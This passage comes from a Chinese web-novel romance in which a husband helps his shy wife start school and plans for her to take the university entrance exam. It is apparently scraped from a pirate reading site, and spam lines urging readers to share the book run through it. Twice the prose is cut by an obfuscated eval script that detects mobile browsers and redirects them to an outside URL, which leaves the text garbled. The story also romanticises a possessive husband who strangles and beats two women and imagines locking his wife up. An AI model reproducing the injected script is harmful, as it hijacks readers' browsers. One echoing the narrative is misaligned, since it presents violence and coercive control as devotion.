顾煜动作很稳，把烤鸭送到她嘴边，等她咬住了，才慢慢收回手。 指尖干净，连多余的触碰都没有。 可偏偏就是这种分寸感，让人心跳乱了一拍。 言昭低头嚼着，味道好得过分。 …… 教室里灯光不算亮。 十几张课桌排得整整齐齐，坐着的人年纪差得有点大，有头发花白的，也有中年人。 言昭一进门，脚步就不自觉慢了半拍。 她这个年纪的倒是没有。 她下意识侧头看了一眼身边的人。 顾煜还在。 那点悬着的紧张，莫名就落回了心里。 顾煜把斜挎包放到靠中间的位置，拉开拉链，把书一本本摆好，动作自然得像是他要上课一样。 “坐这。” 他说。 言昭赶紧点头，坐下的时候背都挺直了。 顾煜声音压得很低：“下课别 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 乱跑，等我来接你。” 她立刻应声：“好。” 顾煜这才直起身。 他从口袋里拿出一个小袋子。 透明的塑料袋，里面装着奶糖。 他没多说什么，给教室其他人都分了一点。 教室里的人愣了一下，很快有人笑着接过来。 “哎哟，你们这是新婚发糖吗？” “这是家属吧？真会照顾人。” 言昭耳根一下子热了。 顾煜神色很自然，笑着补了一句：“这是我爱人言昭，她不太会说话，还请长辈们多多包涵。” 言昭立马站起身，顺着话说：“奶奶伯伯，叔叔婶子们好，我叫言昭。” 这话一落，教室里的气氛顿时就松快了。 “放心放心，来这读书的，都是自己人。” “我们肯定帮你照看好媳妇。” 几句话说下来，语气都很实在，没有半点敷衍。 这时候徐老师正好走进来，一眼就看见桌上那袋奶糖，愣了一下，随即笑了。 “哟，这是带着喜气来的啊。”她又看了言昭一眼，语气轻快：“放心吧，在这儿坐着，你媳妇丢不了。” 教室里有人跟着笑出声。 在门关上的那一刻，教室重新安静下来。 言昭这才慢慢吐出一口气。 她伸手摸了摸桌角，确认包还在，书也在。 嘴里奶糖的甜味还在。 从这一刻开始，自己是真的要坐在这里读书了。 铃声响起的时候，徐老师走进来，笑着拍了拍手：“好了，咱们开始上课。” 言昭抬起头，目光落在黑板上，心跳有点快。 她原本一直绷着一口气，坐在教室里，手心微微出汗，书翻开时都小心翼翼，生怕跟不上节奏。 可课一开始。 黑板上的字，一个一个写出来的时候，她明明确定自己没学过，可偏偏每一个字落进眼里，脑子里就像有什么被轻轻拨开了一样。 她看到那个字的瞬间，读音自己在脑海中冒了出来，意思也跟着浮现。 旁边有人还在皱眉琢磨，她已经明白了这个字怎么用、用在什么地方。 这种感觉让她有点怔。 不是得意，而是困惑。 好像这些东西，她早就学过。 不是现在。 是很久以前。 只是被什么压住了，现在才一点点露出来。 课上到一半，徐老师提问时，言昭被点到名字。 她下意识站起来，然后答得很完整。 教室里安静了一瞬。 徐老师看了她一眼，笑了笑，没多说什么，只点头让她坐下。 言昭坐回椅子上，心跳已经快了一拍。 不是紧张。 而是一种很久没出现过的感觉—— 她在“会”。 不是勉强撑着，也不是硬记。 是真的会。 第43章 阴湿鬼的顾煜 第一天的课程结束得很快。 下课铃响起时，言昭还有点恍惚，直到身边的人陆续起身收拾书本，她才回过神来，把本子合上抱进怀里。 走出教室的一瞬间，她抬起头。 顾煜就站在门口。 灯光落在他脸上，把眉骨和鼻梁的线条照得很清楚。 来往的人经过时，总会不自觉多看一眼，有人放慢脚步，有人低声说话。 他像是没注意到那些目光，只在看到她出来时，视线微微一抬。 那一眼对上，她心里紧绷了一晚的那根弦，忽然就松了。 还没等她走近，就有人先笑着开口。 “哎，这不是顾煜吗？” 对方显然是认识他的，语气熟稔，目光顺着一偏，落在言昭身上，“来接媳妇下课呀？” 这话一出，旁边几个人也跟着看过来。 有人笑着点头附和：“小两口感情真好，这天天接送的。” 言昭现在对这些话已经不是那么害羞，很有礼貌的打招呼。 顾煜牵着她离开。 回去的路上，她明显比来时活跃了许多。 她一边走，一边把今天学到的东西一股脑儿倒出来，哪个字怎么念，哪个地方她一下子就明白了，说到兴奋处，还会忍不住比划一下。 那副眉飞色舞的模样，连她自己都没意识到。 夜风掠过，她的发丝被吹得轻轻晃动，衬得那张娇艳的脸越发鲜活，明显是整个人放松了下来，把以往的拘谨全都丢在了身后。 顾煜走在她右侧，把她护在里面，脚步放得很慢。 他没打断，只安安静静地听着，偶尔低头看她一眼，唇角一直带着笑意。 等她终于说完了，顾煜这才开口：“上学这么高兴？” 言昭耳根一热，笑得有点不好意思：“也、也没有……就是觉得，好像没我想的那么难。” 顾煜点了点头，语气随意得很：“那等你以后再去参加个高考，考上大学了，才更好玩。” 言昭愣了一下。 “高考……大学？” 夜风吹着，两人并肩往前走。 言昭走着走着，脚步慢了下来，像是在心里绕了好几圈，才轻声开口：“像我这种人……也能考大学吗？” 顾煜侧头看了她一眼，语气很平静：“你为什么不能考大学？” 言昭低下头，手指捏着衣角，声音放得很轻：“我小时候的身份……而且我也没正经读过书。” 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 话说出口的那一刻，她自己都觉得有点难堪。 顾煜没有立刻接话。 他呼出一口气，胸腔微微起伏了一下。 幸好。 她终于说出来了。 不是像以前那样，把所有话都憋在心里，像个紧闭的蚌壳，一句也不肯漏。 顾煜停下脚步，转过身看她：“昭昭，你是我的结婚对象，你的户口在我本子上，现在也是京市的人。你告诉我，你为什么不可以考大学？” 言昭张了张嘴，一时间竟不知道该说什么。 顾煜没再顺着那个话题往下说。 他抬手揉了揉她的脑袋，问道：“你饿不饿？” 言昭点点头：“有一点点。” 话音刚落，她的手就被他抓住了。 顾煜把她的手抬起来，低头在她指节上亲了一下。 再抬眼时，他的视线没有立刻移开。 那双眼睛本就深，这会儿在夜色里微微晃着光，情绪压得很低，可并不平静，像水面下慢慢涌动的暗流。 眼睫轻轻一动，目光落在她脸上，又缓缓滑过，带着一点隐约的占有和克制不住的满足，黏腻…… “你现在什么都肯跟我说，”他说，声音低低的，“我很高兴。” 这一瞬间，他眼底的波动几乎没藏住。 言昭脸一下子就热了。 她被他这个举动弄得有点不知所措，在听见这句话，也有点茫然。 自己是真的饿了呀。 她一时间没想明白为什么自己饿了，顾煜会这么高兴， 而顾煜想的是。 她现在肯把自己心里话说出来，本身就是一种对他的信任。 这种信任，让他心里发紧，也发热。 …… 两个人在大澡堂洗了一趟才回去。 言昭没想到顾煜提前把洗漱东西放在大澡堂。 两人从澡堂出来，夜已经深了。 没想到院子里还站着几个女生，三三两两地凑着，装作闲聊的样子。 言昭脚步一顿，条件反射地看向顾煜，手指不自觉收紧，神色也跟着绷了起来。 顾煜像是没看见一样，牵着她往里走，步子不急不缓。 那几个人没跟上来，只是站在原地看着，目光一直追着他们的背影。 门关上的那一刻，外面的视线被隔在外头。 言昭这才悄悄松了口气。 她转头看向屋里。 顾煜已经在放东西，把 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 包里的书、笔盒一一拿出来、。 言昭赶紧走过去，跟着一起收拾，手刚伸过去，就轻声问了一句：“你今天……等我放学，是在家还是在学校呀？” 顾煜侧头看她，神情带着点不解：“在家啊。” 言昭的唇瓣抿紧了。 她正在走神。 顾煜已经坐下了，钢笔的笔帽被拧开放在一旁，他正慢条斯理地给她的钢笔上墨。 铅笔也被他削好了，整齐地并在一边，木屑被收进纸角折起的垃圾桶里面。 他又翻了翻她的书。 书页间已经有了她做的笔记，字迹不算工整，但是很认真，看得出来一笔一划都很用力。 言昭回过神来看到这一幕，心里猛地一紧。 她下意识往前走了一步，又停住了，脸颊慢慢热起来。 她字不好看。 尤其是跟他那种干净利落的字放在一起，更显得难看。 顾煜像是没察觉到她的窘迫，手指在书页上停了一下，合上书。 他从桌角拿起一个薄薄的小本子，递到她面前。 “昭昭，这个给你。” 言昭伸手接过来。 翻开一看，上面写满了内容。 “这些是我在家给你整理的重点，你听课的时候，可以一边看一边听课。” 言昭坐下来，把小本子摊在腿上。 她低头看了一会儿，翻了两页，指尖停住。 下一秒，她忽然把本子合上。 她抬起头，脸上的表情难得严肃。 顾煜正在整理桌上的笔，余光扫到她，动作顿了一下。 这是他第一次见她露出这种神情。 不是紧张，也不是害羞。 像是在认真想一件很重要的事。 他下意识伸手，捏住她的下巴，把她的脸抬起来，语气放得很低：“怎么了？” 他近距离打量着她的表情，眉心微微收紧，声音里多了点警惕：“被人欺负了？” 言昭摇头，很快：“没有，没人欺负我。” 顾煜这才松了力道。 他把手里的笔放下，身体微微前倾，正视着她：“那怎么了？” 言昭张了张嘴，又闭上。 明显在犹豫。 顾煜没催。 他就这么看着她，耐心罕见得过分。 过了一会儿，她轻轻吸了口气。 “我发现一件事。” 顾煜应了一声，示意她继续。 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 “我今天上课的时候，发现我认识不少字，”她说得很慢，像是在确认自己的感受，“而且我知道怎么读，也知道是什么意思。” 顾煜听到这里，唇角已经忍不住扬了起来。 “你继续说。” 被他这样看着，言昭心里那点不安慢慢稳住了。 她攥着本子的边角，声音低却认真：“我总觉得……我以前好像学过。” 顾煜知道她在为什么事情难受后，他先是安静了一下，随后笑了笑。 “你小时候，可能受过教育，这其实是好事。” 言昭一愣，下意识抬头看他。 顾煜接着道：“说明你底子在。这样一来，那份工作你肯定能拿到。” 这句话落下来，言昭心里原本缠在一起的那些焦虑，忽然被捋顺了。 她怔了一会儿，突然感觉到自己悟了。 顾煜见她发呆，伸手捏了捏她的脸颊，指腹带着点力道，又很快松开，语气带着少许的欢快：“昭昭。” 她回过神来。 “你要是真想赚钱，应该好好学习。你现在也知道，京大的工资有多高，比你天天惦记的那些摆摊，赚得多得多。” 言昭听着眨了眨眼。 对啊。 就算考不上京大，只要是大学，出来也是能赚钱的活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338012|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稳当还体面…… 这个念头一冒出来，她整个人都亮了起来。 眉眼弯弯，嘴角忍不住往上翘。 顾煜一直看着她。 看到她从紧绷到松快，再到眼睛一点点亮起来的全过程。 那一瞬间，他心里像被什么轻轻戳了一下。 他只觉得太可爱了。 顾煜喉结动了动，伸手又在她脑袋上揉了一把，语气里带着一点压不住的笑意：“想明白了？” 言昭用力点头。 顾煜笑着说：“那明年高考，你就上场。” 言昭脸上的笑意还没来得及收住，心口先是一紧，整个人像被人点了下穴道，愣住了：“……这么快吗？” 顾煜又笑了笑：“不快。明年高考在七月，现在到那时候，还有大半年。这段时间，我也会帮你把该学的都补上。” 言昭没立刻接话。 此刻她脑子里像是打起了仗。 一边是本能的紧张。 她没正经读过书，对考试两个字天生发怵，也太清楚自己有多少不足，万一学不会、跟不上、考砸了怎么办？ 可另一边 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 —— 如果真的考上了大学。 哪怕不是京大。 那也是她以前连想都不敢想的事。 言昭站在那里，手指无意识地攥紧，又慢慢松开。 她抬头看向顾煜。 他就在那儿，看着她，一副不管她怎么想都给她兜底的样子。 言昭忽然意识到一件事。 顾煜是真的相信她。 这种被人毫不犹豫地信任，让她心口发热。 那点摇摆、犹豫，被慢慢压了下去。 她轻轻吸了口气，点了点头，声音不大，却很认真：“那……你就好好教教我吧。” 话音刚落，顾煜眼神明显变了。 他几乎没再忍，双手捧住她的脑袋，低头亲了下来。 言昭整个人一僵。 那点还没散干净的记忆和身体反应几乎是条件反射地涌上来，她呼吸一下子乱了，手脚都不知道该往哪儿放，下意识就开始挣扎。 顾煜没有再加深，也没有压着她，只是停下来，额头抵着她的。 他的呼吸有些重，鼻息落在她唇侧，带着让人忽视不了的灼热。 “别怕。” 他的声音压得很低，几乎贴着她的唇边，说话时，视线也始终没有移开她的眼睛。 此时这双眼睛很深。 不像方才那样温和，而是沉沉地盯着她，情绪被收拢在眼底，翻涌，却不肯溢出来。 像是湿冷的水面下藏着暗流，紧紧包裹着她，可偏偏不越界。 “我不做你不愿意的事，你乖乖的。” 这句话说得温柔极了。 不是那种刻意放软的哄，也不是浮在表面的好听，而是贴着呼吸落下来的低声细语，语调慢得近乎缠人，尾音轻轻拖着，像是带着一点黏湿的温度，反复在她耳边打着旋。 明明没有逼迫，也没有强硬，可让人无处可躲，只能被那种耐心又暧昧的温柔一点点包住。 言昭胸口还在起伏，眼睫还在抖得厉害。 这也是这茬事让她有阴影，那种紧绷几乎是刻在骨子里的，本能地往外涌。 顾煜没有再动。 只是那只托在她后脑的手始终没有松开，掌心温热而有力。 他的目光还停留在她脸上。 没有催促，也没有退开。 在耐心地等她放松，又像是在确认—— 她的恐惧、她的退缩、她此刻的一切反应，都还牢牢落在他的掌控之中。 言昭缓了好一会儿，呼吸才慢慢找回节奏。 她睁开眼，看见顾煜还在，没有再逼近一步，还在耐心地等着她。 想到顾煜对自己的好。 她抿了抿唇，指尖微微发凉，又慢慢热起来，最后轻轻颤了一下。 最后言昭闭上了眼睛。 她也知道自己这一点点主动，对他来说，意味着什么。 而顾煜看到她这个态度。 那一瞬间，他眼底的情绪终于松开了些，开始变得深而发湿，带着一种近乎贪婪却被牢牢束住的满足感。 他喉结开始缓慢地滚动了一下。 视线从她紧闭的眼睫，一寸寸落下来 他好想把她吃了。 像是把她的呼吸、体温、脆弱，全都一并收进身体里，慢慢消化。 第44章 对他而言今晚不够 就在气氛最浓的时候，门忽然被敲响。 言昭几乎是条件反射般从他怀里挣脱出来，动作又快又急，脸一下子红到了耳根，连呼吸都乱了。 她退开两步，背脊绷得笔直，手指攥着衣角，明显还没从刚才的情绪里缓过来。 顾煜笑了。 他抬手挡住了半张脸，肩膀微微起伏，看上去像是真的被逗乐了。 可那笑意只停在唇角，而眼底冷得很，深沉弥漫了一层乌黑。 好不容易。 昭昭好不容易才肯靠近自己，才开始一点点放松，才不再躲他…… 顾煜的指尖在脸侧停了一瞬，慢慢放下手，目光越过言昭，落在那扇门上。 灯光映进他眼底，却照不出温度，反而把那点被压下去的占有欲衬得愈发阴郁。 他没急着去开门。 先侧头看了她一眼。 那一眼很短，里面是还没来得及收敛起来的情绪。 言昭被他看得心口一热，下意识避开视线，脸也更热了。 敲门声又响了一下。 这一次，比刚才更耐心。 顾煜这才转身，整理了一下衣襟，动作从容得仿佛什么都没发生过。 只有他自己知道，胸腔里那股被打断的躁意还在翻涌，只是被他死死按住了。 门开之前，他喃喃了一句听不见的话。 顾煜伸手拉开门。 灯光一下子从屋里泄出去，落在门外那两张年轻的脸上。 他站在门口，神情已经恢复成惯常的温和，唇角带着淡淡的笑意，看起来疏离又客气，仿佛方才屋里那些黏腻暧昧的气息从未存在过。 门外站着两个女生，明显是鼓足了勇气才过来的，被他这么一看，呼吸都乱了。 “请问…… 顾煜点了点头，语气平稳：“我是。请问你们是谁？有什么事吗？ 两个女生眼睛一下子亮了，脸颊迅速泛红，彼此对视了一眼，情绪肉眼可见地激动起来。 她们显然没想到会这么顺利见到人，更没想到他态度还算温和，甚至在笑。 顾煜忽然往前走了两步。 这个距离一拉近，那种压迫感立刻就显出来了。 他个子高，肩背笔直，站在门口时本就挡住了大半光线，此刻再靠近，几乎把两个人都罩进了阴影里。 两个女生下意识后仰了一点，脸更红了，心跳乱得不行。 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 能这么近距离跟“京大男神”说话对她们来说简直像踩中了天大的运气。 其中一个刚张开嘴似乎想说什么。 下一秒却听见顾煜语气极其平静地开口—— “你们可以从我眼前滚吗？” 声音不高也不冷厉甚至仍旧带着一点笑意。 可那句话落下来的一瞬间空气像是直接凝住了。 两个女生愣在原地脸上的红还没来得及退下去表情却已经彻底僵住。 她们大概怎么都没想到刚才还看起来温和好说话的人会突然变成这样。 此刻顾煜目光垂着眼底没有半点笑意。 顾煜见她们一时没反应抬手捏了捏额角。 像是有点无奈又像是在压什么情绪。 下一秒顾煜脸上的神情重新松散下来唇角弯起一个极好看的弧度那笑意落在灯光里显得温和又从容和刚才判若两人。 “这里不太好说话。”他语气放得很轻甚至称得上耐心 那两个女生明显被这笑容晃了一下。 方才的尴尬和难堪像是被这句话抹平了些她们对视一眼觉得刚刚应该是她们听错了。 这两个女生心跳重新乱了节奏脸上又浮起羞涩的红几乎是同时点了头。 顾煜侧身让开一步做了个“请”的手势。 言昭没想到顾煜竟然要跟着她们一起走。 那一瞬间言昭脑子里“嗡”了一下。 她几乎是条件反射地站起身脚步快了两步心口发紧连声音都不自觉急了起来：“顾煜？” 她这一声喊出来带着点没来得及藏好的慌。 走在外面的顾煜脚步一顿。 他回过头来目光越过那两个人准确无误地落在她身上。 刚才面对外人时那种疏离又温和的笑意在看见她的瞬间明显变了。 顾煜笑了笑说：“是同学我跟她们说两句话。” 那两个女生这才注意到屋里还有人。 目光落到言昭身上时脸上的表情几乎是同时一僵。 刚才被顾煜那点温和笑意哄出来的羞涩一下子散了个干净取而代之的是掩都掩不住的不悦。 原来真的有人。 屋里站着的女人安安静静的穿着不张扬脸却生得好看眉眼清清亮亮偏偏站在那儿就让人怎么都忽视不了。 两个女生心里那股不甘一下子顶了上来 听说看这本书的人都是很幸运的，分享后你的运气会更棒 。 明明一直有人说顾煜有对象，可她们总觉得是假的，是推托，是不想被缠上的借口。 现在亲眼看到，人就在屋里，好端端地站着，反倒更让人来气。 言昭坐了下来。 她自己都没意识到，手指一直攥着衣角，攥得发白。 脑子里乱得很。 她是真的觉得奇怪。 明明已经看见她了，也看见顾煜了，那几个女生怎么还能贴着脸往上凑？ 城里的姑娘……都是这样不要脸吗？ 更让她心口发紧的是，顾煜居然真的跟着出去了。 门合上的那一刻，她整个人像是被抽空了一下。 是不是因为她刚才从他怀里挣开了？ 可她已经没有拒绝。 她只是……只是慢了一点。 言昭坐在原地，肩背慢慢塌下来，眼神有点发空。 而另一边。 拐角处，先是一声闷哼。 一个女生趴在地上，蜷着身子，疼得喘不上气。 另一个女生被顾煜单手掐着脖子，高高举离地面，压在墙上。 她的脚在空中乱蹬，双手死死抓他的手腕，脸涨得通红，喉咙里挤出细碎的呜咽。 两个女生脑子一片空白。 她们怎么都没想到，刚才在门口还温和笑着、耐心说话的顾煜，突然就变了一个人一样。 刚刚那点温柔似水的样子，像假的一样转眼消失，现在的他，眼底冷得吓人，动作狠得像要杀人。 被掐着脖子的女生眼睛瞪大，泪水混着恐惧往下掉。 另一个趴在地上的也抖得厉害，刚才那点羞涩和期待全化成冰冷的怕。 顾煜忽然低声笑了。 笑声从喉咙里溢出来，先是低低的，像压抑着什么，渐渐地越笑越大，声音在昏暗拐角里回荡，听着渗人。 他微微低头，凑近被掐着的那张脸，笑意不达眼底，声音低哑清晰： “你们两个泛着恶臭味的垃圾，找我到底要做什么？” 那两个女生声音抖得厉害。 “我、我们只是喜欢你……” “听见你住在这，就想过来跟你说说话，没有别的意思……” 话音刚落。 顾煜脸上的笑意忽然一顿。 下一秒，他猛地侧过身，弯腰干呕了一声。 是真的呕。 像是被什么恶心到了极点，喉咙里发出压抑不住的声音。 那一瞬间，他 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 眼底最后一点温度也没了。 他抬手，毫不犹豫地把还被他控制着的那个女生往旁边一摔，人重重撞在墙边，踉跄着滑坐到地上，连喊都不敢喊。 顾煜已经不再看那两个人一眼。 视线越过昏暗的小巷子，在不远处的转角，看见了言昭。 她站在那里，背靠着墙，整个人绷得很紧，手指攥着衣角，明显是被刚才的动静吓到了，连呼吸都放得很轻。 顾煜眉心猛地一拧。 刚才那一幕，被她看见了？ 那一瞬间，顾煜心口猛地一沉。 脑子里先一步浮起的，也不是什么解释，而是一种阴冷又偏执的念头—— 要是她再跑。 要是她因为看见这些，就开始怕他、躲他、离他远远的。 那就干脆锁起来。 关在屋子里，关在自己看得到、摸得到的地方。 不让别人看，不让别人靠近。 只要她在，就行。 这个念头刚冒出来，还没来得及成形—— 言昭像是这才回过神，几步迎上来，伸手一把抓住他的手腕，指尖冰凉，握得很紧。 “她们……她们这是怎么了？” 言昭还真的没看到刚刚那一幕，她只是很在意，忍不住的跟了出来，就看到坐在地上的人。 顾煜没想到她没看到，顺着她的动作，立刻侧身挡住了她的视线，手自然地落在她手背上，把人往自己身边带。 “没事。” 他语气很平常，像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338013|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是在说一件再普通不过的小事，“她们刚才说自己不舒服，我看着不太对，像是碰瓷。” 言昭下意识问：“碰瓷是什么？” 顾煜已经牵着她往回走，“就是装病讹人的。这种事别看，脏。” 回到屋里，门一关上，外头的动静就被隔绝了。 顾煜这才松开她的手，顺势把人拉到床边坐下。 然后他主动解释道：“那两个人，应该是隔壁学校的。本来以为是来找我说事的，结果一看就不对劲。” 言昭点点头，心里的那点紧张慢慢散下来，小声说：“我也发现了，京市坏人好多。” 这话说得认真，又带着点刚进城的无措。 顾煜看了她一眼，目光在她脸上停了一瞬，随后伸手，把她往自己这边带了带，让她坐得更稳一些。 他的手还落在她腕上，指腹在她皮肤上轻轻摩擦，带起一片酥麻。 “所以我才说，你在外面，离别人 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 远点。尤其是不要跟男人说话。” 言昭抿了抿唇，没有反驳。 她只是很乖巧地点了点头：“嗯，我知道了。” 两人重新躺回床上时，屋里一下子安静下来。 言昭侧躺着，背脊挺得很直，连呼吸都刻意放轻，像是在等什么。 刚才那点暧昧还没散干净，她下意识以为他会继续，身体先一步进入戒备状态，连指尖都微微发紧。 可顾煜没有。 他只是在她身侧平躺下来，拉好被子，闭上眼睛。 这反倒让言昭怔了一下。 她悄悄等了几息，什么都没发生。 心口那点紧张慢慢松掉，却又浮起一丝说不清的失落。 那感觉来得很快，她自己都愣住了，随即被吓了一跳，像是发现了什么不该有的小心思。 言昭连忙翻了个身，背对着他，把脸埋进被子里，连耳朵都红了。 她在心里骂自己乱想，明明刚才还怕得要命，现在又在胡思乱想，真是没出息。 而她身后，顾煜并没有睡着。 他闭着眼，呼吸刻意放得又深又稳，喉结却不易察觉地滚了一下。 整个人像是在强行把什么压下去，连指节都在被子下悄然收紧。 不是不想碰。 而是不能。 今晚发生的事太多，她情绪起伏太大，再继续下去，只会让她更不安。 而且—— 明早还有事，就今晚这点时间对他而言根本不够。 顾煜想到这里，缓慢地吐出一口气，把所有翻涌的念头一点点压回去。 …… 第二天一早，言昭醒来时，身侧已经空了。 被褥整整齐齐，像是从没被人躺过。 屋子里安静得很，只有窗外隐约的声响。 她愣了一会儿，才慢慢起身，心里却莫名松了一口气—— 昨晚那种难堪的气氛，总算过去了。 吃过早饭，她就跟着李婶子去摆摊。 小桶的酱一字排开，颜色诱人，味道也香。 刚开始只是有人凑过来问价，后来有李婶子的熟客尝了一口，说好吃，便顺手买了一勺。 到中午前，居然真的卖出去不少。 言昭一边忙着收钱，一边心里发热，那种踏踏实实赚到钱的感觉，让她整个人都轻快起来。 快到中午，她提着空了一半的桶回家。 推门进去的那一瞬间，言昭脚步顿住了。 顾煜坐在屋里。 他坐在桌边，背影挺直，像是已经等了一会儿。 她没想到他会这么早回来，更没想到，他的脸色看起来不太好，好像在不高兴？ 那一瞬间，言昭心里猛地一紧，下意识就快步走了过去。 顾煜听见动静，微微抬起头。 那双眼睛在光影里显得很深，像是被什么情绪笼罩着，眼底压着一层沉沉的暗色，仿佛雾气翻涌，冷而密，让人一眼看不透。 可那情绪只停留了一瞬，下一刻便被他生生收了回去。 眉眼舒展开来，唇角扬起，还是那个熟悉的温和又好看的笑。 “昭昭，你回来了。”他语气平稳，像是什么都没发生过，“酱卖得怎么样？” 言昭被他这一笑晃了一下，心口那点紧张慢慢散开。 她点点头，忍不住带了点小骄傲：“卖得还行，比我想的好。” 顾煜看着她，目光在她脸上停了停，笑意更深了些，像是那层黑雾从来没有存在过。 第45章 顾煜被下药了 言昭刚走到他身边，就听见一声轻微的“嘎吱 她下意识以为是椅子老化了，低头还特意看了一眼椅脚，正想说要不要换一把，手腕却忽然被人攥住。 力道来得很突然。 言昭一愣，抬起头。 顾煜还在笑。 那笑容依旧温和，唇角弯起的弧度恰到好处，眉眼看着人时甚至带着点耐心的意味。 可她清清楚楚地感觉到，手腕被他握住的地方开始发疼，骨头像是被固定住了，动不了。 她还没来得及脸红，心口就先紧了一下。 下一秒，顾煜用力一带。 动作很干脆，没有多余的拖沓，她整个人被他拉到面前，两人之间的距离瞬间被拉得极近。 近到她能闻到他身上那股熟悉的气息，近到他的呼吸几乎落在她脸侧。 言昭呼吸一滞，下意识想后退，又被他拽了回来。 顾煜低头看着她，目光沉了一瞬，又很快压住，像是什么情绪被牢牢按在眼底。 他的声音还是轻的，因为贴得太近，近得带着一点不容忽视的压迫感。 “卖得还行？他问，语气平静。 言昭喉咙发紧，点了点头，小声应了一句：“……嗯。 “那你昨天答应我，说好好学习？是在骗我吗？ 顾煜那句话落下，言昭还没来得及开口解释，就被他一把拉了过去。 紧接着她身体失去重心，直接坐进他腿上，被他用力抱住。 言昭呼吸一滞，话卡在喉咙里。 顾煜低下头，唇贴过来，不是温吞的亲，是带着情绪的、短促而清晰的一下，咬住了她的唇瓣。 这一次，言昭强迫自己冷静下来。 她没有挣扎，也没有推开他，只是这种突如其来的亲密仍让她一时难以适应，身体不由自主地绷紧了。 因为姿势的缘故，她被迫微微仰起头，呼吸有些乱。 双手下意识攥住了他胸前的衣襟，指节用力到泛白，也没有松开。 顾煜因她的顺从而停了一瞬。 这一次，他没有再带着那种失控的狠劲。 唇贴上来时明显慢了下来，却贴得更实，更久，像是刻意黏着不放。 不是急着要什么，而是带着一点偏执的确认意味，反复贴合着，确认她没有躲，也没有往后退。 他垂着眼看她，情绪压得很深，湿沉沉地藏在眼底。 整个人的气息都把言昭笼罩，紧绷又耐心， 听说看这本书的人都是很幸运的，分享后你的运气会更棒 像是随时会失控，又死死忍着。 这个吻拖得很久。 久到言昭胸口发紧，脑子里一阵阵发空。 等她真的撑不住的时候，顾煜才终于松开了唇。 空气一下子灌进来。 两个人几乎是同时喘出声，呼吸乱得不像话，脑子嗡嗡作响，一时间什么都想不了。 言昭整个人软了下来，顺势趴进他怀里，额头抵在他肩上，大口喘着气，连指尖都是发麻的。 顾煜的手臂收得很紧，把她牢牢抱住。 也不知道过了多久。 言昭的肚子忽然不合时宜地咕噜了一声，在安静的屋子里显得格外清楚。 她上午忙了一上午，本来就没怎么吃东西，刚才那一通折腾又耗了不少力气，这会儿是真的饿了。 顾煜明显也听见了。 他低低笑了一声，侧过头，在她耳朵上轻轻亲了一下，像是安抚，又像是在哄。 “饿了？” 没等她回答，他已经把人轻轻放回椅子上，让她趴在桌边歇着。 言昭脸还热着，顺着他的动作坐好，额头抵在桌面上，呼吸慢慢平复。 顾煜转身走到门口，把放在炉子上的饭盒拿过来。 盖子一掀开，热气立刻冒了出来。 顾煜把饭盒往她面前推了推，一边说话一边把筷子递给她。 “明天我休息，下午带你出去走走。” 言昭一听，下意识就摇头，接过筷子的动作都停了一下：“就在家休息吧，你最近也辛苦了。” 主要还是每次出去都是花钱。 现在家里好不容易攒点钱，不能一转眼又花光。 顾煜听着，抬起眼看她。 那目光停留得有点久。 过了一会儿，他才慢慢开口：“真的不出去？” 言昭点头，很用力那种：“不出去。我在家好好学习。” 她说这话的时候，神情看起来还特别乖。 顾煜单手撑着下巴，身体微微前倾，视线落在她脸上，唇角似笑非笑：“你确定？” 言昭被他这么反反复复问，难道在家有什么事情发生吗？ 她脑子里不受控制地闪过刚才那个亲吻。 那种被他抱住、被气息裹住的感觉还没散干净，唇瓣似乎都还残着一点麻意。 想到这里，她耳根又开始发热，心跳也快了几分。 ……在家。 好像，确实不太安全。 言昭轻咳了一 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 声努力把那些乱七八糟的画面压下去视线却没敢再和他对上只低头盯着饭盒里的热气小声说：“在家……也挺好的。” 顾煜把她那点变化看得清清楚楚眼底的笑意慢慢加深也没再继续逼她只用那种意味不明的眼神看着她。 他忽然说了一句：“那时间就很多了。” 言昭一开始还没反应过来以为他说的是休假的事点点头顺着接话：“是啊时间是挺多的。” 话刚落顾煜已经笑了。 不是那种客气的笑也不是刚才带着压抑的笑意而是很轻、很慢地勾了一下唇角眼神在她脸上停了停像是把她刚才那句话又在心里过了一遍。 “嗯。”他说“是很多。” 那语气意味不明。 言昭被他这一笑弄得心口一跳。 中午饭刚吃完碗筷还没来得及收拾干净外头就响起了敲门声。 “咚咚——” 言昭一愣 门一拉开是李婶子。 李婶子一看屋里顾煜也在有点惊讶：“哎哟顾煜也在啊？我这……没打扰你们吧？” 言昭连忙摇头语气很快：“没打扰没打扰婶子快进来。” 李婶子有点不好意思地搓了搓手：“妹子我是想问问你……你那个拌面能不能教教我怎么拌啊？我试了好几回料也按你说的放了可怎么都拌不出你那个味道。” 言昭听了立刻点头：“行啊婶子这有什么难的我现在就跟你说。” 言昭换了鞋跟着她往外走。 